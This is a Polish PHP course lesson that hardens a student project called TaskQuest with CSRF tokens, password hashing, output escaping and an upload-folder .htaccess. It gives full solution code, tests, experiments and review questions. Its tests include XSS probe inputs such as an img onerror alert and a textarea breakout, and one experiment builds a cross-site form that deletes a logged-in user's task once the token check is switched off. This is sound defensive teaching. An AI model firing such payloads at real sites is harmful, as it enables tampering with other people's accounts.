3. Otwórz http://localhost/taskquest/uploads/avatary/. Apache pokazuje listę wszystkich plików w katalogu, czyli avatary wszystkich graczy.
   

Apache czyta ustawienia z plików .htaccess umieszczonych w katalogach strony. Utwórz w VS Code plik uploads/avatary/.htaccess (nazwa zaczyna się od kropki i nie ma rozszerzenia):

# TaskQuest (L22): pliki od graczy nie mogą być wykonywane jako skrypty.
Options -Indexes

<FilesMatch "\.(php|php[0-9]|phtml|phar)$">
    Require all denied
</FilesMatch>

• Options -Indexes wyłącza listę plików katalogu.
• FilesMatch z wyrażeniem regularnym (znasz je z L8) wybiera pliki z końcówkami, które serwer mógłby wykonać jako PHP, a Require all denied zabrania dostępu do nich.

Sprawdzenie:

Usuń test.php.

W XAMPP pliki .htaccess w htdocs działają od razu. Na innym serwerze administrator może je wyłączyć. Najpewniejsze rozwiązanie to trzymanie przesłanych plików poza katalogiem publicznym i wydawanie ich przez skrypt PHP. W TaskQuest zostajemy przy .htaccess.

Diagnostyka i stopka

1. W diagnostyka.php dopisz do $wymaganePliki ścieżki 'rejestracja.php' i 'uploads/avatary/.htaccess' (razem 23). czyPlikIstnieje() działa też dla pliku z kropką na początku.
2. W includes/footer.php zmień wersję na TaskQuest 2.2.

9. Testy

Przed testami uruchom ponownie sql/taskquest.sql (krok 6.4) i opróżnij uploads/avatary/ (poza .htaccess!).

Test 1 — regresja

Zaloguj się jako Kama_2026 / KamaQuest26. Lista zadań, liczniki, pasek XP, „Zrobione!” (XP rośnie), „Usuń”, filtr widoku, avatar, ranking i wylogowanie działają jak po Lekcji 21. Zaloguj się jako Ola_TQ / OlaQuest26 — widać jej jedno zadanie.

Test 2 — logowanie

Tabela w kroku 6.4, krok 4. Szczególnie ważne: nieistniejący login i złe hasło dają ten sam komunikat.

Test 3 — rejestracja

Załóż konto: login Nowy_Gracz, imię Ala, hasło tajnehaslo1 (dwa razy).

• Lądujesz na liście zadań z komunikatem „Konto zostało założone. Witaj w TaskQuest!”.
• Widzisz kółko z literą A, 0 XP, pustą listę zadań.
• W rankingu: Ola, Kama, Nowy_Gracz.
• W phpMyAdmin nowy wiersz ma haslo_hash zaczynający się od $2y$, a avatar i data_ostatniej_aktywnosci równe NULL.
• Wyloguj się i zaloguj ponownie Nowy_Gracz / tajnehaslo1.

Test 4 — walidacja rejestracji

Test 5 — XSS

1. Zadanie z tytułem <img src="x" onerror="alert(1)"> i opisem <b>pogrubione?</b> — na liście i w „najpilniejszym zadaniu” widać dosłowny tekst, bez okienka.
2. Zarejestruj konto z imieniem <i>Ala</i> — powitanie pokazuje dosłownie <i>Ala</i>, a w kółku avatara jest znak <.
3. Formularz nowego zadania: tytuł Cytat "PHP" i 'MySQL', XP abc → błąd walidacji, a pole tytułu zawiera cały tytuł z cudzysłowami.
4. Formularz nowego zadania: opis </textarea><b>X</b>, XP abc → błąd walidacji, formularz wygląda normalnie, a opis jest w polu w całości.

Test 6 — CSRF

1. atak.html w Firefoksie (zalogowana Kama) → formularz z komunikatem o wygasłym formularzu, zadanie nie zostało dodane.
2. W Firefoksie otwórz stronę logowania. W narzędziach przeglądarki (F12 → Dane → Ciasteczka) usuń ciasteczko PHPSESSID. Wpisz poprawne dane Kamy i wyślij → komunikat o wygasłym formularzu. Ponowne wysłanie (formularz ma już nowy token) → logowanie działa.
3. Otwórz „+ Dodaj zadanie” w jednej karcie. W drugiej karcie wyloguj się i zaloguj jeszcze raz. W pierwszej karcie wypełnij formularz i wyślij → komunikat o wygasłym formularzu, wpisane dane zostały w polach.

Test 7 — katalog avatarów

Tabela w sekcji 8.

Test 8 — diagnostyka

diagnostyka.php — 23 pliki, wszystkie [OK]. Zmień nazwę .htaccess na htaccess.txt → [BRAK] przy uploads/avatary/.htaccess. Przywróć nazwę.

Test 9 — baza nie działa

Zatrzymaj MySQL w XAMPP. Logowanie → ramka „Nie udało się zalogować: Nie udało się połączyć z bazą danych.” Rejestracja → „Nie udało się założyć konta: …”, login i imię zostały w polach. Uruchom MySQL.

10. Obowiązkowe eksperymenty

Po każdym eksperymencie przywróć kod.

Eksperyment 1: kolejność escapowania

Dodaj zadanie z opisem:

Porównać wyniki testów z klasą 3A i 3B, potem Q&A z nauczycielem

Na liście opis jest skrócony do: ... potem Q&A .... Teraz w pętli listy w index.php zamień kolejność: najpierw htmlspecialchars(), potem skrocOpis(), czyli skrocOpis(htmlspecialchars($zadanie->pobierzOpis())). Odśwież.

Na liście pojawia się ... potem Q&am.... htmlspecialchars() zamienił & na pięć znaków &, a skrocOpis() przeciął encję w połowie. Przeglądarka dostała niepełne &am i wyświetliła je jako zwykły tekst. Wniosek: escapujemy na samym końcu.

Eksperyment 2: podwójne escapowanie

W dodaj-zadanie.php, tuż przed wywołaniem dodajZadanie(), dopisz tymczasowo $tytulZadania = htmlspecialchars($tytulZadania);. Dodaj zadanie Tom & Jerry.

Na liście widać Tom & Jerry, a w phpMyAdmin w kolumnie tytul jest zapisane Tom & Jerry. Tekst został zamieniony dwa razy: przy zapisie i przy wyświetlaniu. Gdyby TaskQuest kiedyś wysyłał ten tytuł w e-mailu albo do aplikacji mobilnej, tam też pokazałby się śmieć. Usuń linię i to zadanie.

Eksperyment 3: CSRF usuwa zadanie

1. W usun-zadanie.php zamień blok sprawdzający token w komentarz.
2. Skopiuj atak.html jako atak2.html. Zmień action na usun-zadanie.php, usuń cztery ukryte pola i dodaj jedno: name="id" z numerem któregoś zadania Kamy (znajdziesz go w źródle strony listy albo w phpMyAdmin).
3. W Firefoksie (zalogowana Kama) otwórz atak2.html. Zadanie zniknęło, a Kama zobaczyła komunikat „Zadanie zostało usunięte.”.
4. Przywróć sprawdzanie tokenu i otwórz atak2.html jeszcze raz → „Nie udało się wykonać akcji. Spróbuj jeszcze raz.”, zadania nie ubywa.

Eksperyment 4: wolny hash to zaleta

W brudnopisie:

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT);
echo '<p>password_hash: ' . round(microtime(true) - $start, 3) . ' s</p>';

$start = microtime(true);
password_hash('KamaQuest26', PASSWORD_DEFAULT, ['cost' => 14]);
echo '<p>password_hash, koszt 14: ' . round(microtime(true) - $start, 3) . ' s</p>';

$start = microtime(true);
for ($i = 0; $i < 100000; $i++) {
    md5('KamaQuest26' . $i);
}
echo '<p>100 000 × md5: ' . round(microtime(true) - $start, 3) . ' s</p>';

Na typowym komputerze szkolnym zobaczysz mniej więcej: jeden password_hash() trwa kilka setnych sekundy, z kosztem 14 około sekundy, a sto tysięcy md5() kilka setnych sekundy. Dla gracza różnica jest niezauważalna, bo loguje się raz. Atakujący, który ma wykradziony hash i sprawdza miliony haseł, przy password_hash() potrzebuje tysięcy razy więcej czasu niż przy md5. Każde zwiększenie kosztu o 1 podwaja ten czas.

11. ROZWIĄZANIE

Poniżej wszystkie pliki, które zmieniły się w Lekcji 22. Pliki niewymienione (klasy, config.php, header.php, funkcje_grywalizacji.php, funkcje_terminow.php, funkcje_zadan.php, funkcje_avatara.php) są identyczne jak po Lekcji 21.

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NOT NULL,          -- (L22) wynik password_hash()
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL,       -- NULL = brak aktywności
    avatar VARCHAR(100) NULL                   -- (L21) nazwa pliku w uploads/avatary; NULL = brak avatara
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- (L22) hasła kont testowych: Kama_2026 → KamaQuest26, Ola_TQ → OlaQuest26
INSERT INTO uzytkownicy (login, imie, haslo_hash, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', '$2y$10$TvnmsPnl0sMZ9thSeswJXO0X0GJHKfBLmJW7.W9FQ0JSnLVq0tEGy', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', '$2y$10$IC7t4ZwMprlNySlkvZAjK.51hLq0Js/fAlwfemXNX1EhrNhwgmcF.', 250, 0, NULL);

function walidujDaneLogowania(string $login, string $haslo): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($haslo === '') {
        $bledy[] = 'Podaj hasło.';
    }

    return $bledy;
}

function walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
{
    $bledy = [];

    if (!walidujLogin($login)) {
        $bledy[] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    if ($imieUzytkownika === '') {
        $bledy[] = 'Imię jest wymagane.';
    } elseif (mb_strlen($imieUzytkownika) > 30) {
        $bledy[] = 'Imię może mieć najwyżej 30 znaków.';
    }

    if (mb_strlen($haslo) < 8) {
        $bledy[] = 'Hasło musi mieć co najmniej 8 znaków.';
    } elseif ($haslo !== $powtorzoneHaslo) {
        $bledy[] = 'Hasła nie są takie same.';
    }

    return $bledy;
}

function pobierzDaneLogowania(mysqli $polaczenie, string $login): ?array
{
    $zapytanie = $polaczenie->prepare('SELECT id, haslo_hash FROM uzytkownicy WHERE login = ?');
    $zapytanie->bind_param('s', $login);
    $zapytanie->execute();
    $wynik = $zapytanie->get_result();

    return $wynik->fetch_assoc();   // null, gdy nie ma takiego loginu
}

function dodajUzytkownika(mysqli $polaczenie, string $login, string $imieUzytkownika, string $hasloHash): int
{
    $zapytanie = $polaczenie->prepare('INSERT INTO uzytkownicy (login, imie, haslo_hash) VALUES (?, ?, ?)');
    $zapytanie->bind_param('sss', $login, $imieUzytkownika, $hasloHash);
    $zapytanie->execute();

    return $zapytanie->insert_id;
}

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = [];
$bladBazy = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $haslo = $_POST['haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneLogowania($login, $haslo);
    }

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();
            $daneLogowania = pobierzDaneLogowania($polaczenie, $login);

            if ($daneLogowania === null || !password_verify($haslo, $daneLogowania['haslo_hash'])) {
                $bledy[] = 'Nieprawidłowy login lub hasło.';
            } else {
                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $daneLogowania['id'];

                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Logowanie</h2>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się zalogować: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>

<form method="post" action="zaloguj.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="login">Login</label>
    <input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>

    <label for="haslo">Hasło</label>
    <input type="password" id="haslo" name="haslo" required>

    <button type="submit">Wejdź do TaskQuest</button>
</form>

<p>Nie masz konta? <a href="rejestracja.php">Załóż konto</a></p>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$imieUzytkownika = '';
$bledy = [];
$bladBazy = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST['login'] ?? '');
    $imieUzytkownika = trim($_POST['imie'] ?? '');
    $haslo = $_POST['haslo'] ?? '';
    $powtorzoneHaslo = $_POST['powtorzone_haslo'] ?? '';

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujDaneRejestracji($login, $imieUzytkownika, $haslo, $powtorzoneHaslo);
    }

    if ($bledy === []) {
        try {
            $polaczenie = polaczZBaza();

            if (znajdzIdUzytkownika($polaczenie, $login) !== null) {
                $bledy[] = 'Ten login jest już zajęty.';
            } else {
                $uzytkownikId = dodajUzytkownika($polaczenie, $login, $imieUzytkownika, password_hash($haslo, PASSWORD_DEFAULT));

                session_regenerate_id(true);
                $_SESSION['uzytkownik_id'] = $uzytkownikId;

                ustawKomunikat('Konto zostało założone. Witaj w TaskQuest!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek->getMessage();
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Rejestracja — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Załóż konto</h2>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladBazy !== null) { ?>
    <p class="blad">Nie udało się założyć konta: <?= htmlspecialchars($bladBazy); ?></p>
<?php } ?>

<form method="post" action="rejestracja.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="login">Login (3–20 znaków: litery bez polskich znaków, cyfry, _ lub -)</label>
    <input type="text" id="login" name="login" maxlength="20" value="<?= htmlspecialchars($login); ?>" required>

    <label for="imie">Imię</label>
    <input type="text" id="imie" name="imie" maxlength="30" value="<?= htmlspecialchars($imieUzytkownika); ?>" required>

    <label for="haslo">Hasło (co najmniej 8 znaków)</label>
    <input type="password" id="haslo" name="haslo" required>

    <label for="powtorzone_haslo">Powtórz hasło</label>
    <input type="password" id="powtorzone_haslo" name="powtorzone_haslo" required>

    <button type="submit">Załóż konto</button>
</form>

<p>Masz już konto? <a href="zaloguj.php">Zaloguj się</a></p>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

<?php

session_start();

require_once __DIR__ . '/includes/funkcje_sesji.php';

if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}

if (!sprawdzTokenCsrf()) {
    header('Location: index.php');
    exit;
}

$_SESSION = [];

if (isset($_COOKIE[session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();

header('Location: zaloguj.php');
exit;

<?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_avatara.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

wymagajLogowania();

$bledy = [];
$bladZapisu = null;

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $plik = $_FILES['avatar'] ?? null;

    if ($plik === null) {
        $bledy[] = 'Plik jest za duży albo nie został wysłany.';
    } elseif (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujAvatar($plik);
    }

    if ($bledy === []) {
        $nazwaPlikuAvatara = 'avatar_' . $_SESSION['uzytkownik_id'] . '_' . time() . '.' . rozszerzenieAvatara($plik['name']);
        $sciezkaAvatara = __DIR__ . '/' . KATALOG_AVATAROW . '/' . $nazwaPlikuAvatara;

        if (!move_uploaded_file($plik['tmp_name'], $sciezkaAvatara)) {
            $bladZapisu = 'Nie udało się zapisać pliku na serwerze.';
        } else {
            try {
                $polaczenie = polaczZBaza();
                zapiszAvatarUzytkownika($polaczenie, $_SESSION['uzytkownik_id'], $nazwaPlikuAvatara);

                ustawKomunikat('Avatar został zmieniony.');
                header('Location: index.php');
                exit;
            } catch (Exception $wyjatek) {
                $bladZapisu = $wyjatek->getMessage();
            }
        }
    }
}

$tokenCsrf = pobierzTokenCsrf();
$nazwaStrony = 'Profil — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?>

<h2>Twój profil</h2>
<p><a href="index.php">← Wróć do listy zadań</a></p>

<?php if ($bledy !== []) { ?>
    <div class="blad">
        <p>Popraw formularz:</p>
        <ul>
            <?php foreach ($bledy as $blad) { ?>
                <li><?= $blad; ?></li>
            <?php } ?>
        </ul>
    </div>
<?php } ?>

<?php if ($bladZapisu !== null) { ?>
    <p class="blad">Nie udało się zapisać avatara: <?= htmlspecialchars($bladZapisu); ?></p>
<?php } ?>

<form method="post" action="profil.php" enctype="multipart/form-data">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <label for="avatar">Avatar (JPG, PNG lub WEBP, najwyżej 1 MB)</label>
    <input type="file" id="avatar" name="avatar" accept=".jpg,.jpeg,.png,.webp" required>

    <button type="submit">Zapisz avatar</button>
</form>

<?php require_once __DIR__ . '/includes/footer.php'; ?>

$bledy = walidujNoweZadanie(

    if (!sprawdzTokenCsrf()) {
        $bledy[] = 'Formularz wygasł albo nie pochodzi z TaskQuest. Wyślij go jeszcze raz.';
    } else {
        $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);
    }

    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">

    <input type="text" id="tytul" name="tytul" maxlength="100" value="<?= htmlspecialchars($tytulZadania); ?>" required>
    <textarea id="opis" name="opis" rows="3" maxlength="300"><?= htmlspecialchars($opisZadania); ?></textarea>
    <input type="date" id="termin" name="termin" value="<?= htmlspecialchars($terminZadania); ?>" required>
    <input type="number" id="xp" name="xp" min="1" max="100" value="<?= htmlspecialchars($xpZadania); ?>" required>

if (!sprawdzTokenCsrf()) {
    ustawKomunikat('Nie udało się wykonać akcji. Spróbuj jeszcze raz.');
    header('Location: index.php');
    exit;
}

// --- token CSRF do formularzy na stronie ---
$tokenCsrf = pobierzTokenCsrf();

<?php if ($uzytkownik->pobierzAvatar() !== null) { ?>
    <img class="avatar" src="<?= htmlspecialchars(KATALOG_AVATAROW . '/' . $uzytkownik->pobierzAvatar()); ?>" alt="Avatar gracza">
<?php } else { ?>
    <span class="avatar avatar-litera"><?= htmlspecialchars(mb_substr($uzytkownik->pobierzImie(), 0, 1)); ?></span>
<?php } ?>

<form class="akcja" method="post" action="oznacz-wykonane.php">
    <input type="hidden" name="token_csrf" value="<?= $tokenCsrf; ?>">
    <input type="hidden" name="id" value="<?= $zadanie->pobierzId(); ?>">
    <button type="submit">Zrobione!</button>
</form>

        <p>TaskQuest 2.2</p>
    </div>
</body>
</html>

12. Co zmieniliśmy w TaskQuest?

Zostaje

wszystko z Lekcji 21: zadania w bazie, dodawanie, „Zrobione!” z XP i streakiem, usuwanie, ranking,
filtr widoku z cookie, komunikaty jednorazowe, avatar z walidacją pliku
sesja z samym uzytkownik_id, session_regenerate_id(true) przy logowaniu, wylogowanie tylko POST
wszystkie zapytania przez prepared statements (bez zmian — audyt w sekcji 3.3)
klasy Zadanie i Uzytkownik bez zmian (Uzytkownik nie zna hasha)
znajdzIdUzytkownika() — teraz używana przy rejestracji

Dochodzi

baza: haslo_hash NOT NULL, hashe kont testowych (KamaQuest26, OlaQuest26)
includes/funkcje_sesji.php:
    pobierzTokenCsrf(): string
    sprawdzTokenCsrf(): bool
includes/funkcje_tekstowe.php:
    walidujDaneRejestracji(string $login, string $imieUzytkownika, string $haslo, string $powtorzoneHaslo): array
includes/funkcje_bazy.php:
    pobierzDaneLogowania(mysqli, string $login): ?array
    dodajUzytkownika(mysqli, string $login, string $imieUzytkownika, string $hasloHash): int
rejestracja.php — zakładanie konta i automatyczne zalogowanie
uploads/avatary/.htaccess — bez wykonywania PHP i bez listy plików
klucz sesji 'token_csrf', ukryte pole token_csrf w 7 rodzajach formularzy, zmienna $tokenCsrf na stronach z formularzami
htmlspecialchars() przy wyświetlaniu tekstu spoza kodu

Nowe mechanizmy PHP: htmlspecialchars(), random_bytes(), bin2hex(), hash_equals(), password_hash() z PASSWORD_DEFAULT, password_verify(), <input type="password">; w brudnopisie $polaczenie->query() (tylko do pokazania ataku), md5() (tylko do porównania), microtime(). Poza PHP: plik .htaccess (Options -Indexes, FilesMatch, Require all denied).

Zmieniamy

• walidujDaneLogowania(): nowy parametr $haslo, reguła „Podaj hasło.”,
• zaloguj.php: pole hasła, password_verify(), wspólny komunikat, token, link do rejestracji,
• wyloguj.php, oznacz-wykonane.php, usun-zadanie.php, dodaj-zadanie.php, profil.php: sprawdzenie tokenu,
• index.php, dodaj-zadanie.php, profil.php, strony akcji: escapowanie,
• diagnostyka.php: 23 ścieżki, stopka: 2.2.

Usuwamy

• komunikat „Nie ma użytkownika o takim loginie.” — zdradzał, które loginy istnieją,
• zdanie „Wersja demonstracyjna…” w zaloguj.php — logowanie nie jest już demonstracyjne,
• zmienną $uzytkownikId w zaloguj.php — zastępuje ją $daneLogowania (w rejestracja.php $uzytkownikId jest nowym id),
• konta bez hasła (haslo_hash = NULL).

Co nowego potrafi TaskQuest po tej lekcji?

Po Lekcji 22 TaskQuest ma prawdziwe konta: gracz zakłada je sam, a logowanie wymaga hasła, które w bazie jest zapisane wyłącznie jako hash. Tekst wpisany przez graczy zawsze wyświetla się jako tekst, więc nie da się nim wstrzyknąć skryptu. Formularze wysłane z obcych stron są odrzucane, a w katalogu avatarów serwer nie wykona żadnego skryptu.

13. Zadania końcowe — rozbuduj TaskQuest samodzielnie

Nie są częścią wersji referencyjnej.

A. Zmiana hasła. Na profil.php (albo na nowej stronie zmien-haslo.php) formularz: obecne hasło, nowe hasło, powtórzone nowe hasło. Obecne hasło sprawdzasz password_verify(). Skąd weźmiesz hash, skoro w sesji masz tylko id (nowa funkcja bazy)? Reguły nowego hasła są takie same jak w walidujDaneRejestracji(). Jak ich nie powielić? Nowy hash zapisujesz UPDATEem. Dlaczego warto po zmianie hasła wywołać session_regenerate_id(true)? Jeśli formularz trafi na profil.php, jak strona odróżni go od formularza avatara?

B. Ciasteczko sesji niedostępne dla JavaScriptu. Przed każdym session_start() (8 plików) dodaj session_set_cookie_params(['httponly' => true, 'samesite' => 'Lax']);. Sprawdzenie: w konsoli przeglądarki (F12 → Konsola) polecenie document.cookie przed zmianą pokazuje PHPSESSID, a po zmianie już nie. Odpowiedz: czy HttpOnly zastępuje htmlspecialchars()? Czy SameSite=Lax zastępuje token CSRF? (Wskazówka: sekcja 5.1.) Czy 8 kopii tej samej linii to dobre rozwiązanie? Zaproponuj lepsze.

C. Blokada po nieudanych próbach. Dodaj do uzytkownicy kolumny nieudane_logowania INT UNSIGNED NOT NULL DEFAULT 0 i blokada_do DATETIME NULL. Po 5 nieudanych próbach dla danego loginu logowanie na to konto jest zablokowane na 5 minut, a po udanym logowaniu licznik wraca do 0. Dlaczego licznik nie może być w sesji albo w ciasteczku? Jak atakujący może użyć tej blokady przeciwko innemu graczowi? Czy komunikat o blokadzie zdradza, że login istnieje?

D. Nagłówki bezpieczeństwa. Na samej górze includes/header.php, przed HTML, wyślij header('X-Frame-Options: DENY'); i header('X-Content-Type-Options: nosniff');. Sprawdź nagłówki w narzędziach przeglądarki (Sieć → wybierz żądanie → Nagłówki odpowiedzi). Utwórz na pulpicie plik ramka.html z <iframe src="http://localhost/taskquest/zaloguj.php"> i porównaj efekt przed zmianą i po niej. Opisz jednym zdaniem, przed jakim atakiem chroni pierwszy nagłówek.

Sprzątanie

1. Usuń brudnopis.php, brudnopis2.php i (jeśli został) uploads/avatary/test.php. Pliki atak.html, atak2.html i ramka.html z pulpitu też usuń.
2. Sprawdź, że przywrócone są: kolejność htmlspecialchars(skrocOpis(...)) (Eksperyment 1), brak htmlspecialchars() przed dodajZadanie() (Eksperyment 2), sprawdzanie tokenu w usun-zadanie.php (Eksperyment 3), nazwa .htaccess (Test 8).
3. Uruchom ponownie sql/taskquest.sql i opróżnij uploads/avatary/ z plików avatar_... (.htaccess zostaje).
4. Zaloguj się jako Kama_2026 / KamaQuest26. diagnostyka.php — wszystko [OK].

Do samodzielnego sprawdzenia

[ ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
[ ] Potrafię pokazać atak SQL injection na sklejonym zapytaniu i wyjaśnić, dlaczego prepared statement go blokuje.
[ ] Potrafię sprawdzić projekt pod kątem sklejanych zapytań.
[ ] Wiem, co robi htmlspecialchars() i które wartości w TaskQuest muszą przez nią przejść.
[ ] Wiem, dlaczego escapuję przy wyświetlaniu, a nie przed zapisem do bazy, i dlaczego na samym końcu.
[ ] Potrafię wyjaśnić, jak obca strona wysyła formularz w imieniu zalogowanego gracza.
[ ] Wiem, skąd bierze się token CSRF, gdzie jest przechowywany i dlaczego obca strona go nie zna.
[ ] Wiem, dlaczego do haseł nie używa się md5() i dlaczego dwa hashe tego samego hasła są różne.
[ ] Potrafię zapisać hasło przez password_hash() i sprawdzić je przez password_verify().
[ ] Wiem, dlaczego logowanie ma jeden wspólny komunikat błędu.
[ ] Wiem, co robi .htaccess w katalogu avatarów.
[ ] Usunęłam/usunąłem brudnopisy i pliki ataków.

Pytania kontrolne

1. Kolega pisze: $zapytanie = $polaczenie->prepare("SELECT id FROM zadania WHERE tytul = '$tytul'");. „Używam prepare(), więc jestem bezpieczny”. Czy ma rację? Co trzeba poprawić?
   
2. Co dokładnie wyśle PHP do przeglądarki po <?= htmlspecialchars('<a href="x">Klik</a> & więcej'); ?> i co zobaczy gracz?
   
3. Termin zadania pochodzi z bazy, a formalnie nie wymaga escapowania. Dlaczego? Czy tak samo byłoby, gdyby kolumna termin była typu VARCHAR(20)?
   
4. Koleżanka escapuje tytuł przed zapisem do bazy i przy wyświetlaniu. Co zobaczy gracz, który doda zadanie Tom & Jerry? Co będzie w bazie?
   
5. Obca strona nie zna tokenu CSRF. A gdyby w TaskQuest była luka XSS, np. niezabezpieczony tytuł zadania? Czy token nadal by chronił? Uzasadnij.
   
6. W sprawdzTokenCsrf() ktoś usunął warunek !isset($_SESSION['token_csrf']). Co zobaczy gracz, któremu wygasła sesja, gdy wyśle formularz logowania? Dlaczego lepiej, żeby funkcja zwróciła wtedy false?
   
7. Baza TaskQuest wyciekła. Kama i Ola mają to samo hasło. Czy atakujący zauważy to, patrząc na kolumnę haslo_hash? A gdyby TaskQuest zapisywał md5($haslo)?
   

8. Znajdź co najmniej trzy błędy:

   $haslo = trim($_POST['haslo'] ?? '');
$dane = pobierzDaneLogowania($polaczenie, $login);
if ($dane['haslo_hash'] === password_hash($haslo, PASSWORD_DEFAULT)) {
$_SESSION['uzytkownik_id'] = $dane['id'];
}

9. Rejestracja pokazuje „Ten login jest już zajęty.”, więc i tak da się sprawdzić, czy login istnieje. Czy wspólny komunikat przy logowaniu ma w takim razie sens? Co jeszcze można zrobić, żeby utrudnić sprawdzanie loginów?
   
10. Gracz wgrywa prawdziwy obrazek PNG z doklejonym na końcu kodem PHP. TaskQuest zapisuje go jako avatar_3_1790000000.png. Czy ten kod się wykona bez .htaccess? A z .htaccess? Po co więc ten plik?
    

Artykuł 22. PHP – bezpieczeństwo aplikacji webowych pochodzi z serwisu Kama Kaczmarek.

Szybki quiz – przypomnienie poprzedniej lekcji

TaskQuest

Dodatek

Superglobals (superzmienne globalne) to specjalne wbudowane tablice w PHP, które są automatycznie dostępne w każdym  zakresie (scope) – w funkcjach, metodach, klasach i skryptach.

Nie musisz ich deklarować ani importować za pomocą słowa kluczowego global.

Poznaliśmy już tablice $_GET, $_POST, $_SESSION i $_COOKIE. 

UWAGA: ZAWSZE waliduj dane – nigdy nie ufaj danym od użytkownika

Lista wszystkich Superglobals w PHP

PHP udostępnia 9 superglobalnych tablic:

1. $_GET – Dane z URL (Query String)

Dane są przekazywane w adresie URL po znaku ? w formacie klucz=wartość, oddzielone znakiem &.

profil.php?id=5&username=ProGamer&sort=level

Odczytywanie danych z $_GET

<?php
// profil.php

// Sprawdzamy czy parametr istnieje
if (isset($_GET['id'])) {
    $player_id = (int)$_GET['id']; // Rzutowanie na int dla bezpieczeństwa
    echo "ID gracza: {$player_id}<br>";
} else {
    echo "Brak parametru ID w URL<br>";
}

// Operator null coalescing (PHP 7+)
$username = $_GET['username'] ?? 'Nieznany';
$sort = $_GET['sort'] ?? 'id';

echo "Username: {$username}<br>";
echo "Sortowanie: {$sort}<br>";

// Wyświetl wszystkie parametry GET
echo "<pre>";
print_r($_GET);
echo "</pre>";
?>

Wyjście dla URL profil.php?id=5&username=ProGamer&sort=level:

ID gracza: 5
Username: ProGamer
Sortowanie: level

Array
(
    [id] => 5
    [username] => ProGamer
    [sort] => level
)

Przykład 1: Wyszukiwarka z parametrami GET

<?php
mysqli_report(MYSQLI_REPORT_OFF);
$db = @new mysqli('localhost', 'root', '', 'gaming_hub');

if ($db->connect_error) {
    die('Błąd połączenia');
}

$db->set_charset('utf8mb4');

// Pobieramy parametry z URL
if ($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['q'])) {
    $search_query = trim($_GET['q']);
